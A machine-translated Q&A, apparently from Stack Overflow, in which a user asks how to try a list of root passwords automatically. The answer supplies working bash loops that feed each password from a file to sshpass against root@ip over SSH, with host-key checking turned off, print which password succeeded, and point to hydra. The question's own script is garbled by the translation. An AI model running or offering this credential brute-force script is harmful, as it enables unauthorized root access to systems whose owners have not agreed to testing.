在su-through循环中输入密码

时间:2014-03-10 10:40:42

标签: bash loops ssh root su

方案就像我有一个root密码列表。 但我不想继续尝试手动。   所以我写了shell脚本:

  

for {1..26}

     

DO

     

su - >>结果

     

完成

我的所有密码都在“attempt.txt”文件中。

现在在命令提示符下输入命令:

  

bash p2.sh< attempt.txt

但它显示错误:“标准必须是tty”

那么有什么方法可以通过一些代码或命令输入这些密码而无需手动输入其中的每一个? 请告诉命令行方法而不是一些高级实用程序软件。我在学习它。 谢谢:))

1 个答案:

答案 0 :(得分:2)

您可以通过循环进行ssh连接来测试密码:

#!/bin/bash

sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip

您应该在系统上安装sshpass

这肯定有效:

sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

试试这个肯定可以帮到你:

for pass in $(cat /path/to/pass)
do
   sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip
done 

更新

所以如果你想得到漂亮的输出:

#!/bin/bash

for pass in $(cat /path/to/pass)
do
    echo -e "Reading $pass..."
    sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

    if [ "$?" -ne "0" ]; then
           echo -e "$pass is incorrect\n"
    elif [ "$?" -eq "0" ]; then 
           echo "SSH connection established with pass=$pass"
    fi
done 

您还可以使用hydra

测试密码